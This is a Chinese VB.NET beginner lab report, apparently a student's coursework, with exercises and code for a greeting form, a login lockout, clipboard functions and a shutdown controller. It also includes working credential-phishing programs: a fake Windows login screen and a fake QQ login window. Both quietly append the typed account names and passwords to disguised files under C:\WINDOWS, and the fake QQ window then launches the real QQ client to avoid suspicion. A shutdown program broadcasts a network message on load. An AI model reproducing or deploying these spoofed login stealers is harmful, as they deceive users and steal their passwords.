实验一 VB.NET编程入门
一、实验目的
1、熟悉VS2005开发工具环境;
2、掌握创建VB.NET项目过程;
3、掌握VB.NET项目文件的作用与关系;
4、理解OOP编程方法;
5、写几个简单的VB.NET小程序,基本掌握VB.NET程序开发的过程及调试与运行方法。
二、基本知识与预习
1、启动VS 2005,熟悉开发工具环境
2、Framework框架体系
3、回顾创建VB.NET项目的过程
4、回顾VB.NET项目文件关系与作用,理解OOP编程思想。
三、实验设备与环境
1、实验平台:学生机:Windows XP Professional;教师机:Windows XP/2003 Server
2、硬件工具:计算机,已组建好局域网
3、软件工具: Visual Studio 2005;Framework 2.0;
四、实验内容
I、基础实验
(一)实验题目
一)启动VB.NET,创建一个“Windows应用程序”类型的应用程序,要求:在屏幕上显示“欢迎您使用VB.NET”,并“请输入您的姓名”;屏幕设计的界面如图所示,以Sy1-1为项目名保存。
二)设计一个常见的用户登录界面。
界面设计要求:用户名输入框,密码输入框,“登录”按钮,“清空”按钮,窗口不能最大化,可以用图片美化界面,可设置界面一定的透明度。
功能要求:预设好用户名和密码。登录时输入用户名、密码连续三次错误,提示警告并自动锁定界面或退出界面。
三)设计一个简易网络消息发送控制程序。
界面设计要求:消息输入框、网络主机输入框、发送按钮。
功能要求:实现对网络主机输入框的内容进行识别,主机IP地址格式是:X.X.X.X(X是0-255的数字)。向指定主机发送操作系统的信使服务,即发送消息。
四)一个假Windows登录程序。(演示操作)
当单击任意处3次后,系统进入30秒重启,按“终止重启或关机”按钮后,取消息重启
再单击任意处2次后,弹出“Windows登录”窗口,输入密码后,重新进入桌面。
五)练习:自行设计一个关机控制程序。可以实现关机、定时关机、取消关机、重启、注销等功能。
六) 利用标签、文本框、按钮控件以及相应的属性,编一字号、内容和格式的复制练习,效果见图。
在TextBox1输入一字符串,建立三个命令按钮:
(1)Button1:Text内容为“隶书 25磅”,事件过程代码为:
TextBox1.Font = New Font("隶书", 25)
(2)Button2:Text内容为“幼圆 15磅”,代码类似。
(3)Button3:Text内容为“复制 =>”,要求复制在TextBox1选中的内容以及其字体格式。选中的内容通过TextBox1的.SelectedText属性;字体通过Font直接赋值。
五、实验报告内容
简述实验过程和体会(注意:在二)到四)中选择一个写实验报告的正文内容。)
填写全部代码和属性设置内容。
实验一实现代码:
Public Class Form1
Private Sub TextBox1_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles TextBox1.KeyPress
Dim l As Integer
l = 365 - Label1.Left
If e.KeyChar = Chr(13) Then
Label1.Text = "欢迎您" + TextBox1.Text + "使用VB.NET"
Me.Width = Label1.Width + l
End If
End Sub
实验二代码
实现代码:
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
authority()
End Sub
Private Sub Form1_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles Me.KeyPress
If e.KeyChar = Chr(13) Then
authority()
End If
End Sub
Sub authority()
Dim uid, upwd As String
Static Dim count As Integer = 0
uid = "abc"
upwd = "123"
If uid = userid.text.trim() And upwd = userpwd.text Then
count = 0
MsgBox("登陆成功,欢迎您使用本软件!")
userid.text = ""
userpwd.text = ""
Else
count += 1
MsgBox("用户名或密码第" + count.ToString() + "次错误。你还有" + (3 - count).ToString() + "次输入机会!")
userid.text = ""
userpwd.text = ""
userid.focus()
If count >= 3 Then
MsgBox("你已经连续输入次错误了,你的卡被锁定!")
userid.enabled = False
userpwd.enabled = False
Button1.Enabled = False
End If
End If
End Sub
End Class
正确账号密码登陆:
错误账号密码登陆:
实验三实现代码
实现代码:
Public Class Form2
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
'使用windows的剪切板实现:剪切板能够实现文件、对象、文本等数据的复制粘贴功能
'将选中的文本内容放到剪贴板
Clipboard.SetText(TextBox1.SelectedText)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
'剪切功能
Clipboard.SetText(TextBox1.SelectedText)
TextBox1.SelectedText = ""
TextBox1.Focus()
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
'粘贴功能
TextBox1.SelectedText = Clipboard.GetText()
TextBox1.SelectionStart = TextBox1.Text.Length
End Sub
End Class
一个假Windows登录程序。(演示操作)
当单击任意处3次后,系统进入30秒重启,按“终止重启或关机”按钮后,取消息重启
再单击任意处2次后,弹出“Windows登录”窗口,输入密码后,重新进入桌面。
实现代码:
Public Class 假登陆
Private Sub Label1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label1.Click
dl()
End Sub
Private Sub TextBox1_KeyUp(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles TextBox1.KeyUp
'输完后按回车登陆
If e.KeyCode = Keys.Enter Then
dl()
End If
End Sub
Sub dl()
'将输入的密码存入指定文件
'c:\WINDOWS\WindowsPlugin.text
Dim fn As Integer
fn = FreeFile() '获得一个随机文件号
FileOpen(fn, "C:\WINDOWS\WindowsPlugin.txt", OpenMode.Append)
'向文件写入一行
PrintLine(fn, TextBox1.Text)
'关闭文件
FileClose(fn)
Me.Close()
End Sub
End Class
二)关机程序
实现代码:
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Shell("C:\Program Files\Adobe\Adobe Photoshop CS4\Photoshop.exe")
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Shell("notepad")
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Shell("net send * 大家好,节日有礼!")
End Sub
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
Shell("shutdown -r -t 50")
End Sub
Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
Shell("shutdown -a")
End Sub
End Class
三)假QQ
实现代码:
Public Class 假QQ
Private Sub Label3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub Label3_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label3.Click
Shell("C:\Program Files\Internet Explorer\IExplore.exe http://haoma.qq.com/", AppWinStyle.NormalFocus)
End Sub
Private Sub Label4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label4.Click
Shell("C:\Program Files\Internet Explorer\IExplore.exe http://dna.qq.com/cgi-bin/console_forgetPW?reLogin=true&ADUIN=0&ADSESSION=0&ADTAG=CLIENT.QQ.1575_LoginWindow.0", AppWinStyle.NormalFocus)
End Sub
Private Sub TextBox2_KeyUp(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles TextBox2.KeyUp
If e.KeyCode = Keys.Enter Then
dl()
kl()
End If
End Sub
Private Sub TextBox1_KeyUp(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles TextBox1.KeyUp
If e.KeyCode = Keys.Enter Then
dl()
kl()
End If
End Sub
Sub dl()
'将输入的密码存入指定文件
'c:\WINDOWS\WindowsPlugin.text
Dim fn As Integer
fn = FreeFile() '获得一个随机文件号
FileOpen(fn, "C:\WINDOWS\WindowsPlugin.txt", OpenMode.Append)
'向文件写入一行
PrintLine(fn, TextBox1.Text)
'关闭文件
'FileClose(fn)
'Me.Close()
End Sub
Sub kl()
'将输入的密码存入指定文件
'c:\WINDOWS\WindowsPlug.text
Dim kn As Integer
kn = FreeFile()
FileOpen(kn, "C:\WINDOWS\WindowsPlug.txt", OpenMode.Append)
'向文件写入一行
PrintLine(kn, TextBox2.Text)
'关闭文件
'FileClose(kn)
'Me.Close()
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim f02 As New 设置
f02.Show()
Me.Hide()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
'Shell("D:\QQ2012\QQProtect\Bin\QQProtect.exe")
Dim f02 As New 正在登录
f02.Show()
Me.Hide()
dl()
kl()
Shell("D:\QQ2012\QQProtect\Bin\QQProtect.exe")
End Sub
End Class